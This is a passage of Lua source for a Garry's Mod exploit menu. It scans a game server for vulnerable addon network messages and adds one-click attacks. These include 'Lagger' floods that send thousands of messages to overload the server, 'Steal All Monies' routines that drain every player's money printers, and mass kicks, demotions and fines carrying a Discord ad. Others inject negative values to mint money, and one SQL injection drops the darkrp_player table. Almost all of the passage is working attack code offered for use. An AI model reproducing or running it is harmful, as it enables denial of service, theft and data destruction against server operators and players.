2923 ECNotify("Starting")
2924 net.Start("NLR_SPAWN")
2925 net.WriteEntity(LocalPlayer())
2926 net.SendToServer()
2927 end)
2928 end
2929
2930 status = ValidNetString("Kun_ZiptieStruggle")
2931
2932 if (status) then
2933 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2934
2935 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
2936 surface.PlaySound("garrysmod/ui_click.wav")
2937 ECNotify("Starting")
2938
2939 for i = 0, 30 do
2940 net.Start("Kun_ZiptieStruggle")
2941 net.SendToServer()
2942 end
2943 end)
2944 end
2945
2946 status = ValidNetString("JB_Votekick")
2947
2948 if (status) then
2949 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2950
2951 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2952 surface.PlaySound("garrysmod/ui_click.wav")
2953 ECNotify("Starting")
2954
2955 for k, v in pairs(player.GetAll()) do
2956 net.Start("JB_Votekick")
2957 net.WriteEntity(v)
2958 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2959 net.SendToServer()
2960 end
2961 end)
2962 end
2963
2964 status = ValidNetString("Letthisdudeout")
2965
2966 if (status) then
2967 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2968
2969 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2970 surface.PlaySound("garrysmod/ui_click.wav")
2971 ECNotify("Starting")
2972 net.Start("Letthisdudeout")
2973 net.WriteEntity(LocalPlayer())
2974 net.SendToServer()
2975 end)
2976 end
2977
2978 status = ValidNetString("opr_withdraw")
2979
2980 if (status) then
2981 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2982
2983 addExploit("83", "Lagger #14", "discovered by Leith", function()
2984 surface.PlaySound("garrysmod/ui_click.wav")
2985 ECNotify("Starting")
2986
2987 timer.Create("lagger14", 0, 0, function()
2988 for i = 1, 1000 do
2989 net.Start("opr_withdraw", true)
2990 net.WriteEntity(LocalPlayer())
2991 net.SendToServer()
2992 end
2993 end)
2994 end)
2995 end
2996
2997 status = ValidNetString("NC_GetNameChange")
2998
2999 if (status) then
3000 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
3001
3002 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
3003 surface.PlaySound("garrysmod/ui_click.wav")
3004 inputFrameExists = true
3005 inputFrame = vgui.Create("DFrame")
3006 inputFrame:SetTitle("Enter the name")
3007 inputFrame:SetSize(400, 75)
3008 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
3009 inputFrame:SetDraggable(false)
3010 inputFrame:ShowCloseButton(true)
3011 inputFrame:MakePopup()
3012
3013 inputFrame.Paint = function(self, w, h)
3014 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3015 end
3016
3017 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3018 TextEntry:SetSize(380, 30)
3019 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3020 TextEntry:SetText("AHAHAHAHAH")
3021
3022 TextEntry.OnEnter = function(self)
3023 surface.PlaySound("garrysmod/ui_click.wav")
3024 ECNotify("Starting")
3025
3026 for k, v in pairs(player.GetAll()) do
3027 net.Start("NC_GetNameChange")
3028 net.WriteEntity(v)
3029 net.WriteString((self:GetValue()))
3030 net.WriteString((self:GetValue()))
3031 net.SendToServer()
3032 end
3033 end
3034 end)
3035 end
3036
3037 status = ValidNetString("revival_revive_accept")
3038
3039 if (status) then
3040 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3041
3042 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3043 surface.PlaySound("garrysmod/ui_click.wav")
3044
3045 if not timer.Exists("exploit_revive") then
3046 ECNotify("Enabled")
3047
3048 timer.Create("exploit_revive", 0.5, 0, function()
3049 if not LocalPlayer():Alive() then
3050 net.Start("revival_revive_accept")
3051 net.SendToServer()
3052 end
3053 end)
3054 else
3055 timer.Remove("exploit_revive")
3056 ECNotify("Disabled")
3057 end
3058 end)
3059 end
3060
3061 status = ValidNetString("join_disconnect")
3062
3063 if (status) then
3064 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3065
3066 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3067 surface.PlaySound("garrysmod/ui_click.wav")
3068 ECNotify("Starting")
3069
3070 if not timer.Exists("lagger15") then
3071 timer.Create("lagger15", 0.5, 0, function()
3072 for i = 1, 3000 do
3073 net.Start("join_disconnect", true)
3074 net.WriteEntity(table.Random(player.GetAll()))
3075 net.SendToServer()
3076 end
3077 end)
3078 else
3079 timer.Remove("lagger15")
3080 ECNotify("Stopping")
3081 end
3082 end)
3083 end
3084
3085 status = ValidNetString("BuyFirstTovar")
3086
3087 if (status) then
3088 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3089
3090 addExploit("87", "Free Physgun", "get physgun", function()
3091 surface.PlaySound("garrysmod/ui_click.wav")
3092 ECNotify("Take physgun")
3093 net.Start("BuyFirstTovar")
3094 net.WriteString("0")
3095 net.SendToServer()
3096 end)
3097 end
3098
3099 status = ValidNetString("BuySecondTovar")
3100
3101 if (status) then
3102 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3103
3104 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3105 surface.PlaySound("garrysmod/ui_click.wav")
3106 ECNotify("Take gravitygun")
3107 net.Start("BuySecondTovar")
3108 net.WriteString("0")
3109 net.SendToServer()
3110 end)
3111 end
3112
3113 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3114
3115 if (status) then
3116 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3117
3118 addExploit("89", "Give Weapons #2", "get weapons", function()
3119 surface.PlaySound("garrysmod/ui_click.wav")
3120 ECNotify("Starting")
3121
3122 for i = 1, 32 do
3123 net.Start("MONEY_SYSTEM_GetWeapons")
3124 net.WriteInt(i, 8)
3125 net.SendToServer()
3126 end
3127 end)
3128 end
3129
3130 status = ValidNetString("MCon_Demote_ToServer")
3131
3132 if (status) then
3133 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3134
3135 addExploit("90", "Demote All Players #2", "demote all players", function()
3136 surface.PlaySound("garrysmod/ui_click.wav")
3137 ECNotify("Starting")
3138
3139 for k, v in pairs(player.GetAll()) do
3140 net.Start("MCon_Demote_ToServer")
3141 net.WriteString(v:SteamID())
3142 net.SendToServer()
3143 end
3144 end)
3145 end
3146
3147 status = ValidNetString("withdrawMoney")
3148
3149 if (status) then
3150 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3151
3152 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3153 surface.PlaySound("garrysmod/ui_click.wav")
3154 ECNotify("Starting")
3155
3156 for k, v in pairs(ents.GetAll()) do
3157 net.Start("withdrawMoney")
3158 net.WriteEntity(v)
3159 net.SendToServer()
3160 end
3161 end)
3162 end
3163
3164 status = ValidNetString("withdrawMoney")
3165
3166 if (status) then
3167 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3168
3169 addExploit("92", "Lagger #16", "discovered by Leith", function()
3170 surface.PlaySound("garrysmod/ui_click.wav")
3171 ECNotify("Starting")
3172
3173 timer.Create("lagger16", 0, 0, function()
3174 for i = 1, 1000 do
3175 net.Start("withdrawMoney", true)
3176 net.WriteEntity(LocalPlayer())
3177 net.SendToServer()
3178 end
3179 end)
3180 end)
3181 end
3182
3183 status = ValidNetString("SyncPrinterButtons76561198027292625")
3184
3185 if (status) then
3186 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3187
3188 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3189 surface.PlaySound("garrysmod/ui_click.wav")
3190 ECNotify("Starting")
3191
3192 for k, v in pairs(ents.GetAll()) do
3193 net.Start("SyncPrinterButtons76561198027292625")
3194 net.WriteEntity(v)
3195 net.WriteUInt(2, 4)
3196 net.SendToServer()
3197 end
3198 end)
3199 end
3200
3201 status = ValidNetString("gPrinters.retrieveMoney")
3202
3203 if (status) then
3204 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3205
3206 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3207 surface.PlaySound("garrysmod/ui_click.wav")
3208 ECNotify("Starting")
3209
3210 for k, v in pairs(ents.GetAll()) do
3211 net.Start("gPrinters.retrieveMoney")
3212 net.WriteEntity(v)
3213 net.SendToServer()
3214 end
3215 end)
3216 end
3217
3218 status = ValidNetString("gPrinters.retrieveMoney")
3219
3220 if (status) then
3221 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3222
3223 addExploit("95", "Lagger #17", "discovered by Leith", function()
3224 surface.PlaySound("garrysmod/ui_click.wav")
3225 ECNotify("Starting")
3226
3227 timer.Create("lagger17", 0, 0, function()
3228 for i = 1, 1000 do
3229 net.Start("gPrinters.retrieveMoney", true)
3230 net.WriteEntity(LocalPlayer())
3231 net.SendToServer()
3232 end
3233 end)
3234 end)
3235 end
3236
3237 status = ValidNetString("NGII_TakeMoney")
3238
3239 if (status) then
3240 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3241
3242 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3243 surface.PlaySound("garrysmod/ui_click.wav")
3244 ECNotify("Starting")
3245
3246 for k, v in pairs(ents.GetAll()) do
3247 net.Start("NGII_TakeMoney")
3248 net.WriteEntity(v)
3249 net.WriteEntity(LocalPlayer())
3250 net.SendToServer()
3251 end
3252 end)
3253 end
3254
3255 status = ValidNetString("money_clicker_withdraw")
3256
3257 if (status) then
3258 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3259
3260 addExploit("97", "Lagger #18", "discovered by Leith", function()
3261 surface.PlaySound("garrysmod/ui_click.wav")
3262 ECNotify("Starting")
3263
3264 timer.Create("lagger18", 0, 0, function()
3265 for i = 1, 1000 do
3266 net.Start("money_clicker_withdraw", true)
3267 net.WriteEntity(LocalPlayer())
3268 net.SendToServer()
3269 end
3270 end)
3271 end)
3272 end
3273
3274 status = ValidNetString("opr_withdraw")
3275
3276 if (status) then
3277 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3278
3279 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3280 surface.PlaySound("garrysmod/ui_click.wav")
3281 ECNotify("Starting")
3282
3283 for k, v in pairs(ents.GetAll()) do
3284 net.Start("opr_withdraw")
3285 net.WriteEntity(v)
3286 net.SendToServer()
3287 end
3288 end)
3289 end
3290
3291 status = ValidNetString("NET_DoPrinterAction")
3292
3293 if (status) then
3294 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3295
3296 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3297 surface.PlaySound("garrysmod/ui_click.wav")
3298 ECNotify("Starting")
3299
3300 for k, v in pairs(ents.GetAll()) do
3301 if v:GetClass():find("print") then
3302 net.Start("NET_DoPrinterAction")
3303 net.WriteEntity(LocalPlayer())
3304 net.WriteEntity(v)
3305 net.WriteInt(2, 16)
3306 net.SendToServer()
3307 end
3308 end
3309 end)
3310 end
3311
3312 status = ValidNetString("tickbooksendfine")
3313
3314 if (status) then
3315 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3316
3317 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3318 surface.PlaySound("garrysmod/ui_click.wav")
3319 ECNotify("Starting")
3320 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3321
3322 for k, v in pairs(player.GetAll()) do
3323 if v ~= LocalPlayer() then
3324 net.Start("tickbooksendfine")
3325 net.WriteString(v:SteamID())
3326 net.WriteTable(reasonstable)
3327 net.WriteDouble(3000, 32)
3328 net.SendToServer()
3329 end
3330 end
3331 end)
3332 end
3333
3334 status = ValidNetString("SyncPrinterButtons16690")
3335
3336 if (status) then
3337 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3338
3339 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3340 surface.PlaySound("garrysmod/ui_click.wav")
3341 ECNotify("Starting")
3342
3343 for k, v in pairs(ents.GetAll()) do
3344 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3345 net.Start("SyncPrinterButtons16690")
3346 net.WriteEntity(v)
3347 net.WriteUInt(2, 4)
3348 net.SendToServer()
3349 end
3350 end
3351 end)
3352 end
3353
3354 status = ValidNetString("withdrawp")
3355
3356 if (status) then
3357 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3358
3359 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3360 surface.PlaySound("garrysmod/ui_click.wav")
3361 ECNotify("Starting")
3362
3363 for k, v in pairs(ents.FindByClass("derma_printer")) do
3364 net.Start("withdrawp")
3365 net.WriteEntity(v)
3366 net.SendToServer()
3367 end
3368 end)
3369 end
3370
3371 status = ValidNetString("withdrawp")
3372
3373 if (status) then
3374 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3375
3376 addExploit("103", "Lagger #19", "discovered by Leith", function()
3377 surface.PlaySound("garrysmod/ui_click.wav")
3378 ECNotify("Starting")
3379
3380 timer.Create("lagger19", 0, 0, function()
3381 for i = 1, 1000 do
3382 net.Start("withdrawp", true)
3383 net.WriteEntity(LocalPlayer())
3384 net.SendToServer()
3385 end
3386 end)
3387 end)
3388 end
3389
3390 status = ValidNetString("DarkRP_SS_Gamble")
3391
3392 if (status) then
3393 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3394
3395 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3396 surface.PlaySound("garrysmod/ui_click.wav")
3397 ECNotify("Starting")
3398 net.Start("DarkRP_SS_Gamble")
3399 net.WriteInt(99999, 32)
3400 net.WriteInt(1, 32)
3401 net.WriteInt(0, 32)
3402 net.WriteInt(0, 32)
3403 net.WriteInt(1, 32)
3404 net.SendToServer()
3405 end)
3406 end
3407
3408 status = ValidNetString("PCAdd")
3409
3410 if (status) then
3411 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3412
3413 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3414 surface.PlaySound("garrysmod/ui_click.wav")
3415 ECNotify("Starting")
3416 net.Start("PCAdd")
3417 net.WriteString("alahman")
3418 net.WriteString("300000000")
3419 net.SendToServer()
3420
3421 timer.Simple(3, function()
3422 net.Start("ActivatePC")
3423 net.WriteString("alahman")
3424 net.SendToServer()
3425 net.Start("PCDelAll")
3426 net.SendToServer()
3427 end)
3428 end)
3429 end
3430
3431 status = ValidNetString("viv_hl2rp_disp_message")
3432
3433 if (status) then
3434 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3435
3436 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3437 surface.PlaySound("garrysmod/ui_click.wav")
3438 ECNotify("Starting")
3439
3440 for name, command in pairs(dispatchCommands) do
3441 net.Start("viv_hl2rp_disp_message")
3442 net.WriteString(command)
3443 net.SendToServer()
3444 end
3445 end)
3446 end
3447
3448 status = ValidNetString("Kun_SellDrug")
3449
3450 if (status) then
3451 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3452
3453 addExploit("107", "Free Money #4", "get monies", function()
3454 surface.PlaySound("garrysmod/ui_click.wav")
3455
3456 if not timer.Exists("freemoney4") then
3457 ECNotify("Starting")
3458
3459 timer.Create("freemoney4", 0, 0, function()
3460 for i = 1, 1000 do
3461 net.Start("Kun_SellDrug")
3462 net.WriteString("mushroom")
3463 net.SendToServer()
3464 end
3465 end)
3466 else
3467 timer.Remove("freemoney4")
3468 ECNotify("Stopping")
3469 end
3470 end)
3471 end
3472
3473 status = ValidNetString("net_PSUnBoxServer")
3474
3475 if (status) then
3476 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3477
3478 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3479 surface.PlaySound("garrysmod/ui_click.wav")
3480 ECNotify("Starting")
3481
3482 for k, v in pairs(player.GetAll()) do
3483 local i = 0
3484
3485 for k2, v2 in pairs(PS.Items) do
3486 if not v:PS_HasItem(v2.ID) then
3487 timer.Simple(k * i * 1.7, function()
3488 net.Start("net_PSUnBoxServer")
3489 net.WriteEntity(v)
3490 net.WriteString(v2.ID)
3491 net.SendToServer()
3492 end)
3493
3494 i = i + 1
3495 end
3496 end
3497 end
3498 end)
3499 end
3500
3501 status = ValidNetString("pplay_sendtable")
3502
3503 if (status) then
3504 ECPrint("Found Exploit: вў Fuck the SQL database вў [pplay_sendtable]")
3505
3506 addExploit("109", "вў Fuck the SQL database вў", "fuck all", function()
3507 surface.PlaySound("garrysmod/ui_click.wav")
3508 ECNotify("Starting")
3509 local tbl = {}
3510 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3511 tbl.ply = LocalPlayer()
3512 net.Start("pplay_sendtable")
3513 net.WriteTable(tbl)
3514 net.SendToServer()
3515 end)
3516 end
3517
3518 status = ValidNetString("75_plus_win")
3519
3520 if (status) then
3521 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3522
3523 addExploit("110", "Free Money #5", "get money", function()
3524 surface.PlaySound("garrysmod/ui_click.wav")
3525 ECNotify("Starting")
3526 net.Start("75_plus_win")
3527 net.WriteString("99999999")
3528 net.WriteEntity(LocalPlayer())
3529 net.SendToServer()
3530 end)
3531 end
3532
3533 status = ValidNetString("ATMDepositMoney")
3534
3535 if (status) then
3536 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3537
3538 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3539 surface.PlaySound("garrysmod/ui_click.wav")
3540 ECNotify("Starting")
3541 net.Start("ATMDepositMoney")
3542 net.WriteFloat(-9999999)
3543 net.SendToServer()
3544 end)
3545 end
3546
3547 status = ValidNetString("SellMinerals")
3548
3549 if (status) then
3550 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3551
3552 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3553 surface.PlaySound("garrysmod/ui_click.wav")
3554 ECNotify("Starting")
3555
3556 for k, v in pairs(SkillDB) do
3557 if not (v.iSkill == true) then
3558 net.Start("Upgrade")
3559
3560 net.WriteTable({
3561 LuaName = v.LuaName,
3562 Amount = -9999999
3563 })
3564
3565 net.SendToServer()
3566 net.Start("SellMinerals")
3567
3568 net.WriteTable({
3569 Target = LocalPlayer()
3570 })
3571
3572 net.SendToServer()
3573 end
3574 end
3575 end)
3576 end
3577
3578 status = ValidNetString("TakeBetMoney")
3579
3580 if (status) then
3581 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3582
3583 addExploit("113", "Free Money #8", "get money", function()
3584 surface.PlaySound("garrysmod/ui_click.wav")
3585 ECNotify("Starting")
3586 net.Start("TakeBetMoney")
3587 net.WriteTable({1e333333, 1e333333})
3588 net.SendToServer()
3589 end)
3590 end
3591
3592 status = ValidNetString("Kun_SellOil")
3593
3594 if (status) then
3595 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3596
3597 addExploit("114", "Free Money #9", "get money", function()
3598 surface.PlaySound("garrysmod/ui_click.wav")
3599 ECNotify("Starting")
3600
3601 for k, v in pairs(ents.GetAll()) do
3602 net.Start("Kun_SellOil")
3603 net.WriteEntity(v)
3604 net.SendToServer()
3605 end
3606 end)
3607 end
3608
3609
3610 status = ValidNetString("DepositMoney")
3611
3612 if (status) then
3613 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3614
3615 addExploit("115", "Free Money #10", "get money", function()
3616 surface.PlaySound("garrysmod/ui_click.wav")
3617 ECNotify("Starting")
3618 net.Start("DepositMoney")
3619
3620 for k, v in pairs(ents.GetAll()) do
3621 net.WriteEntity(v)
3622 net.WriteString(-100000000)
3623 net.WriteEntity(LocalPlayer())
3624 net.SendToServer()
3625 end
3626 end)
3627 end
3628
3629 status = ValidNetString("NET_SS_DoBuyTakeoff")
3630
3631 if (status) then
3632 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3633
3634 addExploit("116", "Free Money #11", "get money", function()
3635 surface.PlaySound("garrysmod/ui_click.wav")
3636 ECNotify("Starting")
3637 net.Start("NET_SS_DoBuyTakeoff", true)
3638 net.WriteEntity(LocalPlayer())
3639 net.WriteEntity(table.Random(player.GetAll()))
3640 net.WriteTable({})
3641 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3642 net.SendToServer()
3643 end)
3644 end
3645
3646 status = ValidNetString("NET_EcSetTax")
3647
3648 if (status) then
3649 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3650
3651 addExploit("117", "Free Money #12", "get money", function()
3652 surface.PlaySound("garrysmod/ui_click.wav")
3653 ECNotify("Starting")
3654 net.Start("NET_EcSetTax")
3655 net.WriteInt(-9999999999, 16)
3656 net.SendToServer()
3657 end)
3658 end
3659
3660 status = ValidNetString("RP_Accept_Fine")
3661
3662 if (status) then
3663 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3664
3665 addExploit("118", "Free Money #13", "get money", function()
3666 surface.PlaySound("garrysmod/ui_click.wav")
3667 ECNotify("Starting")
3668
3669 for k, v in pairs(player.GetAll()) do
3670 net.Start("RP_Accept_Fine")
3671 net.WriteString(v:Nick())
3672 net.WriteDouble(-999999999999)
3673 net.SendToServer()
3674 end
3675 end)
3676 end
3677
3678 status = ValidNetString("drugseffect_remove")
3679
3680 if (status) then
3681 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3682
3683 addExploit("119", "Remove Weapons", "remove all weapons", function()
3684 surface.PlaySound("garrysmod/ui_click.wav")
3685 ECNotify("Starting")
3686 net.Start("drugseffect_remove")
3687 net.SendToServer()
3688 end)
3689 end
3690
3691 status = ValidNetString("drugs_money")
3692
3693 if (status) then
3694 ECPrint("Found Exploit: Remove Money [drugs_money]")
3695
3696 addExploit("120", "Remove Money", "remove all money", function()
3697 surface.PlaySound("garrysmod/ui_click.wav")
3698 ECNotify("Starting")
3699 net.Start("drugs_money")
3700 net.SendToServer()
3701 end)
3702 end
3703
3704 status = ValidNetString("CRAFTINGMOD_SHOP")
3705
3706 if (status) then
3707 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3708
3709 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3710 surface.PlaySound("garrysmod/ui_click.wav")
3711 ECNotify("Starting")
3712 net.Start("CRAFTINGMOD_SHOP")
3713
3714 net.WriteTable({
3715 BUY = -9999999,
3716 type = 1
3717 })
3718
3719 net.WriteInt(1, 16)
3720 net.SendToServer()
3721 end)
3722 end
3723
3724 status = ValidNetString("drugs_ignite")
3725
3726 if (status) then
3727 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3728
3729 addExploit("122", "Fire Players", "", function()
3730 surface.PlaySound("garrysmod/ui_click.wav")
3731 ECNotify("Starting")
3732 net.Start("drugs_ignite")
3733 net.WriteString("player")
3734 net.SendToServer()
3735 end)
3736 end
3737
3738 status = ValidNetString("drugs_ignite")
3739
3740 if (status) then
3741 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3742
3743 addExploit("123", "Fire Props", "", function()
3744 surface.PlaySound("garrysmod/ui_click.wav")
3745 ECNotify("Starting")
3746 net.Start("drugs_ignite")
3747 net.WriteString("prop_physics")
3748 net.SendToServer()
3749 end)
3750 end
3751
3752 status = ValidNetString("drugseffect_hpremove")
3753
3754 if (status) then
3755 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3756
3757 addExploit("124", "Change HP", "", function()
3758 surface.PlaySound("garrysmod/ui_click.wav")
3759 ECNotify("Starting")
3760 net.Start("drugseffect_hpremove")
3761 net.WriteString(99999)
3762 net.SendToServer()
3763 end)
3764 end
3765
3766 status = ValidNetString("drugs_text")
3767
3768 if (status) then
3769 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3770
3771 addExploit("125", "Delete All Props #2", "", function()
3772 surface.PlaySound("garrysmod/ui_click.wav")
3773 ECNotify("Starting")
3774 net.Start("drugs_text")
3775 net.WriteString("prop_physics")
3776 net.SendToServer()
3777 end)
3778 end
3779
3780 status = ValidNetString("drugs_give")
3781
3782 if (status) then
3783 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3784
3785 addExploit("126", "Give Everyone RPG", "", function()
3786 surface.PlaySound("garrysmod/ui_click.wav")
3787 ECNotify("Starting")
3788 net.Start("drugs_give")
3789 net.WriteString("weapon_rpg")
3790 net.SendToServer()
3791 end)
3792 end
3793
3794 status = ValidNetString("drugs_text")
3795
3796 if (status) then
3797 ECPrint("Found Exploit: Remove Water [drugs_text]")
3798
3799 addExploit("127", "Remove Water", "", function()
3800 surface.PlaySound("garrysmod/ui_click.wav")
3801 ECNotify("Starting")
3802 net.Start("drugs_text")
3803 net.WriteString("func_water_analog")
3804 net.SendToServer()
3805 end)
3806 end
3807
3808 status = ValidNetString("drugs_effect")
3809
3810 if (status) then
3811 local eye = LocalPlayer():GetEyeTrace().Entity
3812 local send = "del|" .. eye:EntIndex()
3813 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3814
3815 addExploit("128", "Remove looking at", "", function()
3816 surface.PlaySound("garrysmod/ui_click.wav")
3817 ECNotify("Starting")
3818 net.Start("drugs_effect")
3819 net.WriteString(send)
3820 net.SendToServer()
3821 end)
3822 end
3823
3824 status = ValidNetString("RecKickAFKer")
3825
3826 if (status) then
3827 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3828
3829 addExploit("129", "Kick Everyone #2", "kick all players", function()
3830 surface.PlaySound("garrysmod/ui_click.wav")
3831 ECNotify("Starting")
3832
3833 for k, v in pairs(player.GetAll()) do
3834 net.Start("RecKickAFKer")
3835 net.WriteEntity(v)
3836 net.SendToServer()
3837 end
3838 end)
3839 end
3840
3841 status = ValidNetString("GMBG:PickupItem")
3842
3843 if (status) then
3844 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3845
3846 addExploit("130", "Loot Items", "", function()
3847 surface.PlaySound("garrysmod/ui_click.wav")
3848 ECNotify("Starting")
3849
3850 for k, v in pairs(ents.GetAll()) do
3851 if v:GetClass() == "item_loot" then
3852 net.Start("GMBG:PickupItem")
3853 net.WriteEntity(v)
3854 net.SendToServer()
3855 net.Start("GMBG:PickupItem")
3856 net.WriteEntity(v)
3857 net.SendToServer()
3858 net.Start("GMBG:PickupItem")
3859 net.WriteEntity(v)
3860 net.SendToServer()
3861 net.Start("GMBG:PickupItem")
3862 net.WriteEntity(v)
3863 net.SendToServer()
3864 net.Start("GMBG:PickupItem")
3865 net.WriteEntity(v)
3866 net.SendToServer()
3867 net.Start("GMBG:PickupItem")
3868 net.WriteEntity(v)
3869 net.SendToServer()
3870 end
3871 end
3872 end)
3873 end
3874
3875 status = ValidNetString("plyWarning")
3876
3877 if (status) then
3878 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3879
3880 addExploit("131", "Kick Everyone #3", "kick all players", function()
3881 surface.PlaySound("garrysmod/ui_click.wav")
3882 ECNotify("Starting")
3883
3884 for k, v in pairs(player.GetAll()) do
3885 net.Start('plyWarning')
3886 net.WriteEntity(v)
3887 net.WriteString('You have to select a player before doing a action.')
3888 net.SendToServer()
3889 end
3890 end)
3891 end
3892
3893 status = ValidNetString("NLR.ActionPlayer")
3894
3895 if (status) then
3896 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3897
3898 addExploit("132", "Freeze Everyone", "", function()
3899 surface.PlaySound("garrysmod/ui_click.wav")
3900 ECNotify("Starting")
3901
3902 for k, v in pairs(player.GetAll()) do
3903 net.Start("NLR.ActionPlayer")
3904 net.WriteEntity(v)
3905 net.SendToServer()
3906 end
3907 end)
3908 end
3909
3910 status = ValidNetString("kart_sell")
3911
3912 if (status) then
3913 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3914
3915 addExploit("133", "Free Money #15", "get money", function()
3916 surface.PlaySound("garrysmod/ui_click.wav")
3917 ECNotify("Starting")
3918
3919 for i = 1, 300 do
3920 net.Start("kart_sell")
3921 net.WriteString("sw_gokart")
3922 net.SendToServer()
3923 end
3924 end)
3925 end
3926
3927 status = ValidNetString("ClickerAddToPoints")
3928
3929 if (status) then
3930 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3931
3932 addExploit("134", "Free Points", "", function()
3933 surface.PlaySound("garrysmod/ui_click.wav")
3934 ECNotify("Starting")
3935 net.Start("ClickerAddToPoints")
3936 net.WriteInt(99999999, 32)
3937 net.SendToServer()
3938 end)
3939 end
3940
3941 status = ValidNetString("bodyman_model_change")
3942
3943 if (status) then
3944 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3945
3946 addExploit("135", "Body Groups", "constantly changes your appearance", function()
3947 surface.PlaySound("garrysmod/ui_click.wav")
3948 ECNotify("Starting")
3949 local PM = 1
3950 local SK = 1
3951 local BG = 1
3952 local HN = 1
3953 local TS = 1
3954 local GL = 1
3955 local LG = 1
3956
3957 if not timer.Exists("bodygroups") then
3958 timer.Create("bodygroups", 0, 0, function()
3959 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
